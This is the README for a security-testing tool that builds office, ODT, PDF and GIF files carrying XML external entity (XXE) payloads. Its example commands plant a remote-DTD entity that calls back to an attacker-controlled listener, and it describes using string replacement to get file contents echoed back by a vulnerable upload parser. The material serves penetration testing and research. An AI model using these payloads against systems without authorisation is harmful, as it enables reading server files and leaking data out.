oxml_xxe

This tool is meant to help test XXE vulnerabilities in OXML document file formats. Currently supported:

• DOCX/XLSX/PPTX
• ODT
• PDF
• GIF (experimental)

BH USA 2015 Presentation:

Exploiting XXE in File Upload Functionality

Blog Posts on the topic:

Exploiting XXE Vulnerabilities in OXML Documents - Part 1

Installation

Installation is easy, you will need a copy of Ruby and two gems.

gem install highline
gem install zipruby

or

gem install bundler
bundle install

Quick Examples

Build a PDF with XXE in XMP (metadata)

ruby oxml_xxe.rb --poc pdf -i 192.168.14.1:8000

Build a DOCX with XXE (connecting back to 192.168.14.1:8000)

ruby oxml_xxe.rb -s -i 192.168.14.1:8000

Select payload 11 ("remote_DTD")

Build a XLSX with XXE (connecting back to 192.168.14.1:8000)

ruby oxml_xxe.rb -f samples/sample.xlsx -s -i 192.168.14.1:8000

Select payload 11 ("remote_DTD")

Main Modes

There are two main modes:

Build Mode ("-b")

Build mode adds a DOCTYPE and inserts the XML Entity into the file of the users choice.

String Replacement Mode ("-s")

String replacement mode goes through and looks for the symbol § in the document. The XML Entity ("&xxe;") replaces any instances of this symbol. Note, you can open the document in and insert § anywhere to have it replaced. The common use case would be a web application which reads in a xlsx and then prints the results to the screen. Exploiting the XXE it would be possible to have the contents printed to the screen.